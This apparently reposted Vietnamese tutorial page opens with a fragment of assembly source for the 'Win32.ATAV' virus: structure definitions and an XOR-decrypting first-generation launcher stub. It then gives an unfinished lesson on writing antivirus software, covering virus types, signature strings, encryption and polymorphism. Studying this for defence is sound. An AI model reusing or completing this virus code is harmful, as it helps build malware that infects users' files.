wMonth WORD ?
wDayOfWeek WORD ?
wDay WORD ?
wHour WORD ?
wMinute WORD ?
wSecond WORD ?
wMilliseconds WORD ?
ends

filetime STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
filetime ENDS

win32_find_data STRUC
FileAttributes DD ?
CreationTime filetime ?
LastAccessTime filetime ?
LastWriteTime filetime ?
FileSizeHigh DD ?
FileSizeLow DD ?
Reserved0 DD ?
Reserved1 DD ?
FileName DB max_path DUP [?]
AlternateFileName DB 13 DUP [?]
DB 3 DUP [?]
win32_find_data ENDS


search win32_find_data ?
SystemTime SYSTEMTIME

windir db 128h dup[0]
sysdir db 128h dup[0]
crtdir db 128h dup[0]

Virtual_End:


;thuật toán mã hóa sử­ dụng hơi ... ruồi quá nhưng cũng tiện để học cho newbie
First_Gen:
pushad
call Next_Gen

Next_Gen:
pop ebp
sub ebp,offset Next_Gen

mov ecx,SizeCrypt
lea esi,[ebp + Crypto]
decri:
xor dword ptr [esi],0FFh
inc esi
loop decri


push 0
push offset TextF
push offset TextF1
push 0
call MessageBoxA

popad
Jmp Start


TextF db 'Win32.ATAV by Radix16[MIONS]',0
TextF1 db 'First generation sample',0

End First_Gen

;The End

BÀI 5: TỰ VIẾT CHƯƠNG TRÌNH DIỆT VIRUS

Author: spinx

Tôn trọng mục đích của diễn đàn là "hướng thiện" tôi sẽ không đề cập đến nghệ thuật hắc ám nữa ở đây.

1. Để làm được một chương trình diệt VR chúng ta cần gì?
- Một ngôn ngữ lập trình: cái này không thể thiếu được rồi, bạn phải giỏi sử dụng một ngôn ngữ lập trình nào đó. Tuỳ theo sở thích, có thể là C, pascal, vb, ... Ngôn ngữ nào cũng có thể dùng để viết chương trình diệt được cả chỉ có điều chúng ta sẽ diệt cả VR for win nên tốt nhất chọn một ngôn ngữ for win có càng nhiều tính năng can thiệp cấp thấp một chút càng tốt như C, delphi hay vb cũng được
- Kiến thức assembler: tại sao lại phải học thứ khó nhá này vậy? Thứ nhất là vì rất nhiều VR được xây dựng trên ngôn ngữ này, thứ 2 là khi tung VR ra các VXer thường là không đưa source cho bạn coi. Nếu không đọc code của họ dưới dạng mã máy thì làm sao được
- Công cụ debug: sử dụng thành thạo công cụ và tích luỹ cho mình kinh nghiệm debug mã máy rất cần thiết trong quá trình đọc và giải mã VR
-

2. Phân loại virus
Thực ra VR bây giờ phát triển khá đa dạng nên cũng khó đặt ra một định nghĩa chung cho tất cả được. Căn cứ vào các đặc điểm như đối tượng lây nhiễm, cách thức lây nhiễm, kỹ thuật sử dụng và tác hại người ta có thể phân loại ra và định nghĩa ra một số VR chính. Tôi cũng mạn phép phân loại cho các bác thế này:

- Virus boot:
Là một đoạn code có khả năng lây nhiễm vào master boot hoặc boot sector ổ đĩa cứng/mềm. Thay thế đoạn code khởi động máy trên boot. Thường trú và tự sao chép sang boot ổ đĩa khác.
- Virus tệp khả thi:
Là đoạn code có khả năng tự sao chép bản thân nó vào các tệp khả thi của hệ điều hành. Tuỳ theo loại VR overwrite hay không overwrite mà tệp gốc sau lây nhiễm có thể chạy bình thường hoặc không chạy được nữa. Tệp khả thi ở đây là các tệp "chạy được" như .exe, .com trên dos, tệp PE, .dll... trên win, tệp elf trên unix... thậm chí cả các tệp kiểu như .msi
- Worm
Thường là các đoạn script viết cho các ứng dụng web hoặc email. Lây lan bằng cách tự sao chép hoặc dùng email của nạn nhân này email bản thân nó cho các nạn nhân khác. Vì là ở dạng script nên cũng có thể nằm attach trong các trang web.
- Trojan
Đây là một chương trình chạy ngầm ngoài mong muốn của nạn nhân, có thể đọc các thông tin trên máy nạn nhân gửi về ứng dụng chủ hoặc email nào đó. Lây nhiễm do nạn nhân trót chạy tệp chứa trojan [do ai đó gửi]. Trojan có thể biến thể thành một số dạng script [program dropper] attach vào trang web để dễ lừa nạn nhân. Trojan cũng có thể thêm bào một số khả năng lấy pass, đọc phím, điều khiển máy tính nạn nhân từ xa, hoặc là một backdoor mở thông các rào cản bảo mật để hacker xâm nhập.
- Macro
Là một ứng dụng macro trên word, excel... có thể tự sao chép khi chạy.
-Các dạng đặc biệt khác
Chiếm số ít kiểu như các worm trên CSDL hay program droper...

Tính năng phá hoại của VR là không bắt buộc, tuy nhiên bản thân VR đã thực thi các thao tác không chính quy. Cho dù không phá hoại vẫn để lại các tác hại như làm chậm máy, làm nghẽn mạng, chiếm dung lượng đĩa... Bản thân VR có thể chọn cho mình một hoặc nhiều đối tượng lây nhiễm khác nhau. Chính vì thế một con VR có thể rơi vào một hay nhiều loại ở trên

3. Vài khái niệm cơ bản
- P-String:
Như ta đã biết, đa số virus đều thể hiện ở dạng đoạn mã nằm tá túc trong các chương trình, các tệp .html, .doc... hay trên boot sector/MBR tùy theo loại VR nằm trên máy tính của nạn nhân . Để phát hiện được VR, cách đơn giản nhất là lấy được một đoạn code đặc trưng trên VR, tìm và quét tất cả các tệp trên đĩa [MBR/boot sector] xem có tệp nào chứa đoạn mã này không để xác định xem những tệp nào đã bị nhiễm VR. Yêu cầu của đoạn code mẫu nàu là phải thật đặc trưng cho VR để tránh nhầm lẫn với một chương trình khác. Các đoạn code như vậy được gọi là P-String [pattern string]
- Kỹ thuật mã hóa:
Để nhằm gây khó khăn cho các AVers khi debug và lấy mẫu, các VR thường được mã hóa. Key để mã hóa có thể được lấy động theo thời gian lây nhiễm, kích thước tệp nhiễm... Chính vì vậy toàn bộ code chính của VR thường không duy nhất và đặc trưng được nữa. Tuy vây VR vẫn phải giữ nguyên đoạn code để có thể giải mã VR khi chạy. Các P-String có thể sử dụng các đoạn mã giải code này.
- Kỹ thuật đa hình:
Cố gắng bịt nốt điểm yếu cuối cùng trong kỹ thuật mã hóa, các VXers có thể sử dụng thêm kỹ thuật đa hình. Sử dụng một polymorphic engine, đây mà một hàm được viết nhằm biến đổi một đoạn mã gốc thành nhiều hình thức khác nhau. Các bạn có thể hiểu nôm na khi có một đoạn code, ta có thể đảo vị trí code, chèn thêm các junk code, sử dụng nhiều bộ lệnh cùng chức năng... kết quả tạo ra một tập hợp rất nhiều đoạn code làm cùng chức năng giống nhau nhưng viết khác hẳn nhau. Sử dụng một polymorphic engine như vậy, mỗi bản sao VR tuy có cùng tính năng nhưng code không giống nhau [đa hình]. Đặc biệt đoạn code mã hóa VR thường sử dụng kỹ thuật đa hình gây khó khăn rất nhiều cho AVer khi lấy mẫu. Một polymorphic engine có thể tạo ra hàng nghìn đoạn mã khác nhau cho đoạn mã hóa.
- Kỹ thuật Anti-AV
VR có thể sử dụng các kỹ thuật cống debug, chống disassembler, anti-bait... để gây khó khăn khi chẩn đoán VR [xem thêm bài Kỹ thuật lập trình VR spinx]. AVer phải hết sức tỉnh táo khi debug

4. Xây dựng search engine cho chương trình diệt VR:
....

[to be continue]

Benina tổng hợp 2008.

Nguồn: //rootbiez.blogspot.com/2009/07/virus-huong-dan-lap-trinh-virus-danh.html

Video liên quan

Chủ Đề